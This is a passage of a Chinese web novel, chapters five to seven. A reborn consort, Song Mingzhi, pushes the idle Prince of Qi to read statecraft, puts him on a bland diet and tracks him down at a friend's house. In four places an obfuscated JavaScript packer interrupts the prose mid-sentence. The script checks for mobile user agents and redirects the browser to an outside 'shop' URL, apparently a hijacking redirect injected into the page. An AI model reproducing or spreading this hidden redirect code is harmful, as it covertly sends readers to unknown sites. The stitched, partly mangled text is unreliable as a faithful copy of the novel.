元九前脚刚走,后脚他便站起身,走进了东侧书房之中。未经半点犹豫,便朝着书架上看了过去: “长生丹道经……” “灵草仙方炼丹志……” 一眼看过去,竟全都是丹经、长生术。 大楚历史上,有数位帝王曾痴迷此道,当今圣上,最终更是因为服用“仙丹”而亡,但是宋明稚并不记得,齐王什么时候也对此产生了兴趣。 宋明稚缓缓地蹙起了眉。 他放下手中的那几本书,转身便朝着书架敲了起来—— 难不成,这里还有暗格? 岂料,宋明稚还没敲两下。 背后便幽幽地传来了一声:“宋明稚,鬼鬼祟祟地,在我这里翻什么呢?” 说完,便凑近看了过来。 宋明稚:“……” 重生一世,他虽有内力,但无论隐藏气息的能力,还是对周遭环境的感知,都远比不了上一世。 马失前蹄。 宋明稚轻轻地闭上了双眼。 假如是上一世,自己现在已经该,咬碎口中毒药,抓紧时间去投胎了。 然而这一世—— 宋明稚早已将不该干的事,全干了一遍。 他蓦地睁开了双眼。 转过身去,反问道:“殿下为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267387|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让人通报,偷偷进门。” 慕厌舟那双冷茶色的眼睛,忽地漫出了笑意,他难以置信地开口道:“宋明稚,好看就可以恶人先告状了吗?” 说着,又好奇地看向书架:“你看它做什么。” 宋明稚的大脑,自动屏蔽掉了慕厌舟上一句话,他抬手将书放向架上,直问道:“殿下平日里,就看这些书吗?” 见状,元九慌忙小跑进来。 接过他手上的书道:“王妃,我来吧!” 说完,便整理起了书架。 慕厌舟则坐在桌边,笑着道:“这些都是父皇所赠,我平常看它做什么。” 我就知道……! 齐王殿下向来务实,绝非追求虚幻永生之人。 宋明稚几近拔凉的心。 忽地热回来了一点:“那殿下平日里看什么?” “我平常——” 慕厌舟垂眸,看向宋明稚。 柔密的睫毛,好似芦苇,正随呼吸轻颤,颤过了那双雾蓝,似湖泊的眼瞳。 漂亮又正经。 格外的好逗。 慕厌舟眸底的笑意,又浓了几分。 他故意拖长了语调,看着宋明稚的眼睛,认认真真道:“我平常……平常,自然是什么都不看。” 说完,终于没忍住,笑了出来。 宋明稚:“……?” 他竟然有种并不意外的感觉。 不同于昨日—— 今天他才不会被轻易糊弄过去! 宋明稚追问慕厌舟道:“真的?” 对方不禁心生困惑道:“那我应该看什么?” “自然是正书典籍,”宋明稚抬头,深深地看向慕厌舟,“如今的朝堂,已是山雨欲来风满楼,身为亲王,殿下不可能没有一点感受。” 不久之前—— 有人诬告户部官员受贿,并以严刑逼其招供。 身为户部尚书的杜山晖,就是在质疑此事时,得罪的皇帝。 朝堂的矛盾早就已经摆在了台面上。 宋明稚缓缓走向慕厌舟,直截了当道:“长此以往,殿下这个闲散亲王,也不一定做得成。” 这是,试探吗? 徽鸣堂另一端,元九猛地睁大了眼:“!!!” 王妃未免太过明目张胆! 元九随即侧过身,看向慕厌舟。 ——王妃的话颇有几分道理,不好敷衍,更不好装傻,也不知道殿下他究竟要如何应对。 慕厌舟缓步走到了窗边。 接着,事不关己道:“对,我当然知道啊。” 宋明稚:“既然知道,殿下还?” “俗话说,人贵在有自知之明。” 慕厌舟是完全一副油盐不进的模样,他笑道:“我当然知道朝堂局势复杂,但是我更清楚,自己究竟有几斤几两啊。没有那个金刚钻,我还是别揽什么瓷器活了。” 什么叫有自知之明;什么叫清楚自己几斤几两;什么叫没有金刚钻? 殿下怎么可以如此妄自菲薄! 宋明稚不可置信道:“那万一出事……” 慕厌舟笑了一下,信心满满道:“放心吧,就算是天塌了,这不是还有我父皇顶着?我们只管躺着就行。” 宋明稚当下眼前一黑。 ……他能顶住什么啊! 若是等他来顶不如一起死了算了。 微风拂过树梢吹得落花簌簌。 慕厌舟不知从哪变出一杯酒,总结陈词道:“今朝有酒今朝醉……” 岂料,话音未落—— 酒盏已经到了宋明稚的手中。 宋明稚深深地看向了对方。 我能今朝有酒今朝醉,但是齐王殿下不能,哪怕他真的躺下,也得将他拽起来! 面对着他灼灼的目光…… 慕厌舟的心中,竟罕见地,生出了一阵不妙的感觉。 好像逗过头了。 5. 第五章 慕厌舟溜得非常迅速。 他见势不妙,随便扯了个理由,就消失得无影无踪。 宋明稚不知道他的话是真是假,然而事关天下存亡,却不能不急。 …… 王府侍从手脚格外利落。 不一会儿,他们便将“酌花院”给收拾了出来。 这时,还没有到正午。 宋明稚乘着轿辇到了院中,远远就看见—— 院子里的那一棵桃花树下,早早就摆好了食桌,不仅左右站着两名专职布菜的侍女。甚至,远处还有一眼温泉,正在袅袅地冒着雾气。 宋明稚刚走下轿辇,便有人上前,朝他行礼道:“殿下担心王妃吃不惯府里的饭菜,特意将西域名厨招入府中,今日的饭菜,皆由他们所烹。” 说着,便端起了温在炉上的奶酒。 衣来伸手饭来张口,神仙过的日子不过如此。 然而…… 生于忧患死于安乐。 亡国而死的宋明稚。 才不会被轻易被慕厌舟收买! 宋明稚不习惯人服侍:“我自己来就好。” 侍女随即行礼道:“是,王妃。” 宋明稚接过了奶酒,命她们先行退下。接着,便叫来了小厮:“阿琅——” 宋明稚今天早上,已经打探清楚:自己身边的小厮名字叫作“阿琅”。他随原主一道长大,不但精通中原官话,甚至还曾习过武。方才,阿琅一直都在酌花院中,与府内侍从一道布置住处。 听到宋明稚在叫自己。 阿琅忙上前,行礼道:“公子有何吩咐?” 宋明稚坐在了桌边,压低声音说:“稍候,我列个单子给你,等用完午膳,你就带人出府,去将它们全部买回来。” 阿琅愣了愣,便道:“是,公子。” 逃亲自由是自由,可实在太苦…… 见齐王色厉内荏,不敢对公子做出格之事,阿琅也不再着急着要逃离崇京。 只不过…… 还有一件事,他始终放心不下。 阿琅并不着急退下。 他忍不住开口,问宋明稚:“公子之前说的那个人,还需要继续去找吗?” 宋明稚喃喃道:“找人?” 原主要在崇京找什么人…… 阿琅当他忙忘了,提醒道:“就是您幼时来崇京的时候,救过您的那一个人,您昨天不是还在担心,若是真的离开崇京,以后便再也没有机会找到那个人了吗?” 宋明稚:“……!” 难怪原主昨天会犹豫不决。 相比起初来乍到,对京城并不熟悉的阿琅,显然由自己来找,速度会更快。更何况……自己既然占了这个身体,那便要为原主完成这个心愿。 宋明稚心中虽有几分惊讶。 但神色仍旧不变:“此事我自己来就好。” 阿琅当即道:“是,公子!” - 傍晚的徽鸣堂还没有点灯。 暮光穿过正厅,落入次间,只剩下熹微的一丝。 徽鸣堂内的气氛稍显凝重。 花鸟屏风之前,一身黑衣的侍从,正低头、伏跪在花砖上,犹豫着朝慕厌舟道:“启禀殿下,今日辰时,吾等到达尚书府中的时候,发现,发现……” 寒气顺着花砖,漫向了脊背。 黑衣人的身体不禁重重一颤,结结巴巴道:“发现……已经有人,先于吾等,去了杜大人那里。” 绣金的花鸟屏风之后。 慕厌舟落下一枚棋子,漫不经意道:“去做什么了?” 棋盘上随之生出了“笃”一声轻响。 侍从咬牙道:“救人。” 当今朝廷,奸佞当道。 官居尚书,仍旧坚守于正道的杜山晖,不仅仅是朝廷少数清官的主心骨,奸党们的眼中钉、肉中刺。 更是个实打实的异类。 为了避免人怀疑…… 齐王殿下并不方便直接替他求情。 杜山晖今早被放回府没多久,他们几人,便朝着尚书府而去,准备在私下里为杜山晖疗伤,保住杜山晖的这条命。 谁知道,竟然遇上了一件怪事! 侍从还在继续:“他不但为杜大人止住了血,甚至还仔仔细细包扎好了伤处,手法极其老道……” 慕厌舟缓缓放下了手中的棋子。 用手撑着下巴,斜倚在榻上问:“尚书府内,可有其他的异常。” 怪就怪在这里! 侍从简直是百思不得其解,他咬了咬牙:“回殿下的话,完全没有……” 身为户部尚书,杜山晖虽然清贫了一点,但府内还是有下人的。昨日那人在尚书府,竟如入无人之境。甚至于……还打晕了两个侍从,都完全没有引起其他人的注意。 绝对是位高人! “笃,笃……” 慕厌舟将棋子,拈在指间。 轻轻地敲了两下棋盘…… 他眼底忽然生出了一丝兴味。 末了,低声道:“会是谁呢……” 杜山晖的子侄,昨天求遍了整座崇京,但众人皆对此事避之不及。而在这其中,就算有人想要出手相助……恐怕也找不到如此的高手。 慕厌舟难得对谁,生出如此的好奇。 见此情形,侍从的额头上,瞬间便冒出了黄豆大小的汗珠:“回殿下,只有杜大人清醒之时,看到过那人……杜大人说,那人穿着一身的素衣,戴着一顶帷帽,身形修长,除此之外他便什么都不知道了。” “笃,笃,笃……” 慕厌舟还在漫不经心地敲着棋子。 侍从愈发地紧张。 他攥紧了手心道:“杜大人他当时还以为,那个人是殿下您派过去的,所以并没有仔细地询问。” 慕厌舟正欲落子—— 徽鸣堂外,忽然响起了一阵脚步声。 原本昏暗的前院,也随之亮起了灯来。 灯火映亮了窗上还未撕的“喜”字,与慕厌舟微垂的凤眸。 他侧身就见,一名西域相貌的小厮,正打着灯笼,带宋明稚朝此处而来。 慕厌舟随口道:“退下,去领罚吧。” 说着,他便拨乱了棋盘。 侍从背后一寒:“是,殿下……” 侍从立刻行礼,自后房门退了出去。 元九紧随其后,走进了徽鸣堂中,一盏盏点亮了屋内的灯火。 转眼,屋内便亮了起来。 烁烁的灯烛之下,慕厌舟托着下巴,垂眸看向了棋盘。 他随手拨弄棋子:“头戴着一顶帷帽……” 寻常的暗卫、侍从都是以黑布蒙面,今日去杜家的那个人,却戴着帷帽。 这样的麻烦,究竟是为了什么呢? “王妃到——” 通报声打断了慕厌舟的思绪。 慕厌舟缓缓将视线,自棋盘落到了门口,随后便看见…… 慕厌舟:“?” 除了那名西域小厮以外,宋明稚的背后,竟然还跟着几名王府内的侍从,而他们每个人的怀中,都抱着厚厚的一摞书册。 宋明稚走进门,便朝他行礼道:“启禀殿下,这是我为您准备的一些书。” 慕厌舟不敢置信道:“不是,你来真的啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267388|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宋明稚用实际行动回答了这个问题。 他从阿琅的手中,接过来了一本书,同时认真道:“殿下近来闲散在王府里,空闲时间不如看些书,就算用不到,应该也不会是什么坏事。” 不怕一万,就怕万一: 宋明稚的内心深处并不相信,齐王会是不学无术之人…… 但有备无患总不会错。 宋明稚提议道:“殿下不如先看这本?” 就算没吃过猪肉,也见过猪跑,常年蹲守在皇宫房梁上的宋明稚,当然知道皇子皇孙平日都要学什么。说着,他便无比郑重地将一本《治世方略》放在了桌案之上。 慕厌舟:“咳咳咳……” 元九:“噗……” 慕厌舟:“?” 元九迅速将视线收了过来—— 这本书,殿下八岁那一年,就已经背得滚瓜烂熟了,没有想到今天还能再见! 齐王殿下整日里信口胡诌,从没有人将他的话放心上,谁知道他这一回,竟然在王妃身上,栽了一个大大的跟头。 ——他就算不是什么奸细,也是殿下的一劫。 慕厌舟起身,随手翻开了一本,他仍不死心:“你怎么拿了这么多书,这什么时候看得完啊。况且,我平常看书,你又要做什么呢,难不成一起看吗?” 说完,他便转身朝宋明稚看了过去。 王妃不用参与朝堂之事。 宋明稚轻轻地摇了摇头,非常坦诚地朝他道:“殿下,我在后宅用不到这些书。” 闪烁的烛火,落入了水蓝色桃花眼中。 他的目光无比真挚。 这倒也是。 慕厌舟:“。” 他满脸都写着:真不公平。 而见一堆侍从摇摇晃晃地抱着书,站在这里,半晌也不敢放下,元九终于吩咐道:“你们先把书放在这里,退下吧。” 侍从随即答道:“是。” 说完便将书放在案上,终于长舒一口气,行礼退出了徽鸣堂中。 而就在这时—— 慕厌舟:“嘶……” 他缓缓用力将手抵在了腹间。 再一次戏瘾大发。 宋明稚:“?” 慕厌舟攥紧了手下的衣料。 他不禁蹙起眉,低声道:“完了,本王似乎是胃疾复发,看不了书了。” 宋明稚喃喃道:“胃疾……” 齐王殿下的确患有胃疾,如今正在养病。 但是…… “殿下昨日说,您在装病。” 宋明犹豫片刻,终是忍不住真诚道:“而且胃在左侧。” 一回生二回熟,今日他已非常平静。 慕厌舟:“……” 他默默将手移到了另一边。 末了,绝望道:“不是,你怎么连这个都能发现?” 烛火烘暖了那双水蓝色的眼瞳。 宋明稚下意识扬了扬唇角。 慕厌舟恍了恍神:“美人计也不行。” 然而,抗议无果。 就在慕厌舟说话时,宋明稚已经取出笔墨,默默将它与书本一道,放在了他的手边。同时,说出了自己一直想说,但还未来得及说的话:“殿下还从未试过,怎么知道自己真的是碌碌之辈?” 说完,便认真地看了过来。 慕厌舟:“……” 宋明稚显然是要来真的。 慕厌舟绝望道:“你就让我自甘堕.落吧……” 他轻叹一口气,将手抵在了额间,末了,发自肺腑地朝宋明稚道:“*你就让我,当一个堂堂正正的废物吧。” 6. 第六章 殿下怎么能这样说? 宋明稚想都没多想:“不是!” 慕厌舟不禁好奇道:“什么不是?” 火烛摇曳,和着暮色,染红了宋明稚浅金的长发,他缓缓垂下眼帘,无比坚定地开口道:“殿下怎么会是废物,殿下,殿下……” ——未来可是要饬吏治、肃清朝野的。 宋明稚硬生生地将后面的话全咽了下去。 慕厌舟听出了宋明稚的犹豫。 他眸色忽地一晦:“哦?我怎么了。”说话间,缓缓地用手指,在桌上点了两下。 此时,徽鸣堂内的人,均将好奇的目光投了过来,宋明稚只得努力移开视线道,“……齐王殿下气度非凡,且才智过人,定然不会是等闲之辈,”说着,他便将视线落在那本了《治世方略》之上,“殿下不如读读看?” 并满怀期待地朝对方看了过去。 元九:“……” 他怎么这么执着。 慕厌舟:“。” 慕厌舟垂眸看了一眼桌案。 他实在忍不住道:“假如我说,我其实已经将这本书倒背如流了,爱妃相信吗?” 宋明稚瞬间为之一振:“!” 是自己低估殿下了。 《治世方略》的确太过基础,齐王殿下他怎么可能没有看过? 宋明稚立刻便将书拿了起来,带着期盼,朝慕厌舟看了过去:“自然相信。” 慕厌舟闭了闭眼。 沉默了半天,终于开口道,“……咳咳那个,”他默默问道,“第一句是什么来着?” 宋明稚:“……” 徽鸣堂内,气氛稍有些凝重。 宋明稚深吸一口气。 末了,怀着沉重的心情,坐在了案前的那张月牙凳上。 没有关系—— 据说齐王殿下过目成诵。 就算他不曾读过这本书,要不了几日,也定能背过。 日色西斜,远处升起了炊烟。 眼看着现在已经到了饭点,宋明稚仍没有走的意思。慕厌舟尝试着做最后的挣扎:“现在已是戌时了,要不然这样,我们先用晚膳吧,用过晚膳之后,再谈什么读书的事?” 说完,还不等宋明稚有反应,他便转身朝元九道:“去,吩咐膳房送——” 岂料话还没有说完…… 就被宋明稚打断道:“殿下,不必麻烦。” 今日的晚膳,他早有所准备。 话音落下后,宋明稚便转过身去,将守在门外的侍女叫了过来。 继而恭恭敬敬地朝慕厌舟道:“殿下,我已让‘酌花院’里的厨师,为您准备好了晚膳。” 他眼中闪烁着点点的亮光,似乎是在期待着什么。 慕厌舟眼前一亮:“是吗?” 他的话音还未落—— 徽鸣堂外,便于此刻传来了一阵脚步声。 穿着一身月白色罗裙的侍女,端着一个食盘,走到了桌边,朝二人行礼道:“殿下,王妃,这是今天的夜宵。”说完,便俯身将食盘中的东西,摆在了厅内。 慕厌舟瞬间来了兴趣。 他一边朝着长桌旁走,一边道:“酌花院里都是西域名厨,也不知道,今晚他们都准备了什——” 云纹长桌上摆着一只金碗。 碗底錾满了花枝,乍一眼看去华丽无比,但是仍然改变不了,碗内只有稀粥的……事实。 养尊处优·齐亲王·发自肺腑地问:“——这都是什么东西?” 宋明稚一本正经道:“回殿下的话,这只碗中是菰米粥。俗话说‘民以食为天,食以养为先’殿下既然患有胃疾,那便更要时时注意才可以。” 齐王登基后推行仁政、体恤民情。 担得上“明君”二字。 在宋明稚看来,作为皇帝,慕厌舟唯一的遗憾,便是身体不佳,导致驾崩得太早、太突然。以至于在他驾崩以后的短短三年时间里,崇京城内便因为夺位,而发生了数次宫廷政.变。 ——殿下近来虽然是装病。 但根据史书中的记载,他的确一直都患有胃疾,似乎就连驾崩都与此有关。 因此,除了备书以外,宋明稚还特意吩咐酌花院里的厨师,为他准备好了晚膳。 如今殿下胃疾尚轻。 一切仍有希望! 慕厌舟于宋明稚期待的注视之下,坐在了长桌边,他不禁难以置信地问:“我今晚就吃这个,一点的肉都没有?” 宋明稚纠正他道:“还有果品。” 说着,便走上前,为他端来了长桌边的果盘。 身为亲王,慕厌舟大概从来都没有吃过这样的晚膳。宋明稚看到,他艰难地拿起了汤匙,又艰难地放回了长桌之上。片刻过后,终于叹息道:“要不然,我还是去看《治世方略》算了。” 闻言,宋明稚的眼前瞬间一亮。 慕厌舟:“???” 不等宋明稚再次开口,他连忙拿起了手边的汤匙:“我开玩笑的。”说完,终于迅速用起了今日的晚膳。 同时,麻木地点评道:“索然无味。” 而见此情形,宋明稚也于此刻默默道:“读书虽重要,但比不了身体,殿下稍后看书也好。” 此时,夜幕已经降下。 徽鸣堂的东次间之中,还堆满了没有来得及看的书籍,慕厌舟的面前更是只有一碗清清淡淡的小粥。 慕厌舟轻叹了一口气。 他忍不住道:“爱妃关心本王,本王很是感动。” “但是…… 要不然,你还是让我继续在角落里慢慢地腐朽好了。” 宋明稚没有回话。 而是选择叫来人,挑亮了书房的盏盏烛灯。 徽鸣堂另一头—— 目睹全程的元九,终于忍不住蹙紧了眉头:“奇了怪了。” 王妃究竟是什么意思…… 难不成他是想趁此机会留在徽鸣堂,监视殿下? 总不可能真的是为了让殿下读书吧! - 慕厌舟真的读了一夜的书。 …… 次日清晨。 春雨淅沥,草木洇润。 薄薄的雨雾将亭台水榭晕成了水墨。 昨日两人在徽鸣堂内,待到了深夜,今日的早膳,也因此延后了一个时辰。 在大楚,王妃平日里,并不需要与亲王一道用膳,因此到了辰时,宋明稚便遣酌花院里的侍从,提着食盒,将早膳送到了徽鸣堂去。 他则独自撑着把伞,走进了院内。 此时,檐下的空地已经被酒坛堆满。 见到他来,侍从立刻停下手中的动作,躬身行礼道:“启禀王妃,王府里的酒已全部清出来了!您看是锁在地窖里,还是……”说着,便犹豫地朝他看了过来。 若想养病,齐王应当避免食用辛辣、刺激之物。 酒这东西,更是连碰都不能碰一下。 因此,这日一早,宋明稚便吩咐侍从们,将王府里的酒全部收了起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267389|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋明稚收起雨伞走到了屋檐下,随口道:“锁在地窖里就好。” 侍从立刻答道:“是,王妃!” 说着,他终是没忍住偷瞄了宋明稚一眼。 听说昨天晚上,王妃一直待在徽鸣堂内,直到深夜方才离开。 而平日里向来都不务正业的齐王殿下。 竟然也在书房里待了大半夜……! 看来殿下他果然是一见倾心。 嘿嘿。 宋明稚:“……” 上梁不正下梁歪。 齐王府内的侍从,都是那个老昏君所赐。 那昏君自己不正经也就算了。 连带着手下的人,竟然都没个正形,也不知道整日里在胡思乱想什么。 低级趣味! 宋明稚痛心疾首。 他清了清嗓子,提醒道:“还不清走这些酒吗。” 侍从这才缓过神:“是,是!” 继而喜气洋洋地推着车,朝院内而去。 宋明稚:……离谱。 昨晚的事莫名其妙就传遍了王府。 酌花院里众人,此时皆干劲满满,宋明稚见酒已经清理干净,撑起伞正要走,怎料耳边竟突然传来一阵嘈杂的声响。 呼喊声穿透雨幕,落在了他耳畔:“王妃,出事了——” ……这是怎么了? 他不禁蹙眉,朝着院外看去。 方才去给齐王送早膳的侍从,在此时跨过院门,小跑了过来,同时着急忙慌道:“王妃,殿下,殿下他——” 闻声,酌花院内也随之一静。 众人皆将目光投了过来。 宋明稚被他的架势吓了一跳,赶忙问道:“殿下他怎么了?” 浑身湿透的侍从停下了脚步,气喘吁吁地对他说:“殿下,殿下他跑了!” 宋明稚一头雾水:“跑了?” 他一时间竟没能理解,侍从话里究竟是什么意思。 手提食盒的侍从,当即绘声绘色道:“回王妃的话,我,我刚到徽鸣堂,殿下便问这食盒里有什么,我说完有麦粥、二冬膏,还有一些瓜果以后,殿下他,他人就跑了!” 说着,还学慕厌舟做了个放食盒的动作。 宋明稚随即问他道:“他走的时候,没有说什么吗?” 侍从顿了顿,忙道,“对,有!殿下他说,说他知道王妃都是为了他好,但是他实在是受不了了,”接着又将手指抵在额上,模仿到,“殿下还说,他现在头疼耳鸣……” 宋明稚:“……!” 他打起伞,转身便朝院外而去。 阿琅也从没见过这样的场面。 他忍不住跟上前问道:“公子,那,那我们……” 宋明稚回头问那名呼哧带喘的侍从:“你可知道殿下他去做什么,又是去哪里?” 他愣了愣,连忙小跑上前道:“虽不知道是去做什么的,但殿下他好像是……去了城东的廖府!廖府的二公子廖文柏,是殿下在京中的……好友!”话音之中,略带着几分心虚。 阿琅默默在心中总结道:躲到了狐朋狗友家。 宋明稚点了点头:“好,我知道了。” 话音落下之时,他已经走出了酌花院,并一路朝着王府后院而去。 侍从不由问道:“王妃,您去后院做什么?” 宋明稚的脚步随之一顿。 他轻轻地笑了一下,理所应当道:“自然是去廖府,找殿下。” “备车吧。” 7. 第七章 马车撩开水幕,朝城东而去。 车角的铜铃与马蹄声相交织,回荡在崇京城的长街之上。 辰时,街上一点一点地热闹了起来。 宋明稚忍不住拂起车帷,看向窗外—— 孩童踢着蹴鞠,欢笑着跑过了马车。不远处,沿街的商贩,正在高声叫卖,引得百姓驻足围看……没有战马嘶鸣,也没有流民哀号。 宋明稚不禁默默地攥紧了掌心…… 身处王朝将兴之时的自己,定不能够再重回乱世! 春雨仍没有一点要停下来的迹象。 宋明稚放下了车帷,缓缓地展开了掌心。 ——这是一只铃铛。 身处于异乡,阿琅平日也没人能够聊天,因此,宋明稚几乎没有怎么问,他便一股脑地将自己知道的事情,全都说了出来: 原主七八岁的时候,曾经跟随父母一道,来过一次崇京。其间,他意外与父母走散,差一点点就被人拐走、卖掉,幸亏被人所救,一路将他送回了驿馆内。 这只小铃铛,就是那个人所赠。 马车逐渐慢了下来。 侍从的声音,穿过隔板,打断了宋明稚的回忆:“启禀王妃,前面那里就是廖将军府了!” 廖文柏的父亲是位将军,平日里负责带兵,守卫都城。 史书上面并没有太多有关于他的记载。 宋明稚缓缓地收起了铃铛:“好,我知道了。” 这只铃铛上面雕刻的莲纹,看上去极其精美,显然是出自于能工巧匠之手,并不是随随便便,就能够买到的东西…… 他想,应该不难找到主人。 话音落下,马车便缓缓地停在了将军府门前,宋明稚还没有来得及下马车,就听一声:“恭迎王妃——” 大楚十日一休,今天正好是休沐日。 收到宋明稚要来的消息后,廖将军夫妇二人,第一时间,便赶到了府院外。 此时,两人正窃窃私语道:“文柏他方才说,要是齐王妃来府上,可千万不能让他进府……老爷,您说一会究竟如何是好?” “别听他瞎说!”廖老将军压低了声音,同夫人道,“你有所不知,现在外面有人暗中传说,齐王对这个述兰王妃宠爱有加,我们要是把他拦在府外,那才是不识时务!” 廖夫人恍然大悟道:“有道理,有道理!” 眼看宋明稚已经走下了马车,廖将军忙快步上前,朝着他行礼道:“下官参见王妃!” 接着,默默地同夫人对视了一眼道:“齐王殿下如今正在府内休憩,还请王妃移步府内——” 语毕,便转身将他迎了进去。 …… 慕厌舟随便骑了匹白鬃快马,带着一名侍从,便到了廖文柏家中。 有道是:物以类聚人以群分。 崇京城里的人都说,齐王这个名叫“廖文柏”的好友,与他一样,都是个不可雕的朽木。 身为家中的次子,廖文柏既没有什么官职可袭,整日还不学无术。最终,只好花大价钱,捐了一个闲官,平日也不用去当差,只在家中瞎混。 慕厌舟到将军府的时候,天已大亮。 廖文柏这个时候才起床,出门迎驾,同时遣人送信,将几个平日里一道玩乐的纨绔膏粱,叫到了自家府中。 没过多久,将军府的悦音舫内,便凑出来了一大桌的人。 此时,石舫外面还飘着蒙蒙细雨,而舫内却已是一派热闹景象—— 廖文柏正坐在圆桌边,目瞪口呆道:“不是……殿下,您一大早来我家,就是为了点菜的吗?”他刚才起床没多久,还没有什么胃口,提了半晌的筷子,都没能够落下。 话音刚落,又有侍女端来一盘梅花饼,放在了桌上:“还殿下请慢用。” 廖文柏默默道:“真是邪门了……” 齐王殿下今日一早来到府上,他还以为是有什么大事。没有想到,对方竟然只是吩咐自己,叫府上的厨子起来做菜、上酒。虽然说平日里,他们几人也会聚在一起喝喝酒,但是…… 但是,哪里有人一大清早的,就大鱼大肉? 慕厌舟一袭青衣,松松垮垮。 他的长发随意地披散在背后,并未戴冠,而是随手以发带相束。 纵是如此,仍不减一身贵气。 ——此时,慕厌舟正端着酒道:“怎么了?” 廖文柏默默问:“大早上吃这个,不怪吗。” 他话音刚落下,另外几个纨绔,也忍不住七嘴八舌道:“是啊,而且殿下今日怎么不在府内陪陪王妃?” 坊间传闻,齐王之所以到弱冠之年,都不曾娶亲、纳妾,既是因为他是一个断袖。更是因为他只爱美人,并且,非绝世美人不娶。往日那些送上门来的男宠,也是因此而被他拒之于门外的。 如今看他爽快接受赐婚,将“西域第一美人”娶回府中,便知传闻的确是真! 慕厌舟轻叹了一口气,摇头道:“唉,别提了。” 见状,几人瞬间便来了兴趣:“殿下此话怎讲?” 慕厌舟放下酒盏,随手夹起一块鱼肉,回头看向了画舫外:“王妃突然想起了我的那个胃疾,不但将一日三餐,全都换成了粗茶淡饭,甚至还将府内的酒,都收了起来。” 说完,他便忍不住轻叹了一口气。 “难怪啊……” 廖文柏同情地朝慕厌舟看了过去。 怎料,竟看到对方正在一个劲朝外瞄,他不禁好奇道:“齐王殿下,您这是在看什么呢?” 慕厌舟随口道:“哦,你说王妃,他不会找过来吧?” “放心吧!”廖文柏当即拍着胸口道,“刚刚我已经按照您的吩咐,去给爹娘叮嘱过了。我不靠谱,我爹娘他们还不靠谱吗?” 慕厌舟如释重负:“那就好。” 圆桌旁,另一个人也跟着夹了一筷子肉:“我看殿下今日怎么无精打采的?似乎格外的困倦。” “对……”慕厌舟抬手按了按眉心,继续道,“除此之外,他还非要逼我读书、上进,昨日不但遣人,向徽鸣堂中送了一大屋子的书,还坐在那里,盯着我认真看书,一直过了子时人才离开。” 廖文柏:“!!!” 方才还没太大反应的几人,瞬间感同身受、义愤填膺。真情实感起来: 纨绔甲:“岂有此理!” 纨绔乙:“欺人太甚!” 纨绔丙:“他一个王妃,管得上您这些吗?” 最厌恨读书的廖文柏更是愤愤不平道:“就是!我听说他在述兰国的时候,也就是一个……郡王世子吧?更别说述兰还只是我们大楚的附属国之一,你们说说,哪里有他管齐王殿下的道理啊?” 纨绔甲:“就是,多管闲事!” 小小的石舫内,瞬间便炸了锅。 慕厌舟端起酒杯,不禁蹙起了眉道:“……什么?” 几个人说上了头,还在喋喋不休道:“依我看,他这就是没有摆正自己的地位,我要是殿下您,便一口气多纳几个侧妃,等到后宅里面热闹起来的时候,他就不会有工夫多管闲事了。” 廖文柏附和道:“对,这世上的美人可多了去了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267390|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廖文柏的话音刚落,忽有斜风,将春雨送进了石舫。 带来了一股淡淡的寒意…… 慕厌舟突然放下了他手中的酒盏。 并随“啪”的一声轻响,垂下眸,打断道:“不许对爱妃无礼。” 喧闹声随即停了下来。 廖文柏一愣:“……啊?” 石舫内瞬间静得针落可闻。 …… 廖将军与夫人穿过府院,一道将宋明稚带到了石舫之前。 继而转过身来,朝他道:“启禀王妃,殿下就在这里,下官便不再多打扰了。”说完二人便朝他行礼,退了下去。 宋明稚回礼道:“叨扰了。” 元九:“!” 殿下说准了,他果然来了—— 见到宋明稚,守在石舫之前的元九,瞬间便瞪大了眼睛。他正打算上前行礼、招呼,宋明稚就已经吩咐阿琅,留在原地,独自撑着一把伞,朝着悦音舫的方向,缓步走了过来。 悦音舫四面临水,仅舫首以一座小石桥,与水岸相连。 如针线一般细密的春雨,在天上织出了一张薄薄的纱,隔着纱,一切都变得模糊不清。 宋明稚隐隐约约地看到—— 慕厌舟放下了手里的酒,还命众人,不得对自己无礼? 这是什么意思? 斜风忽地散去…… 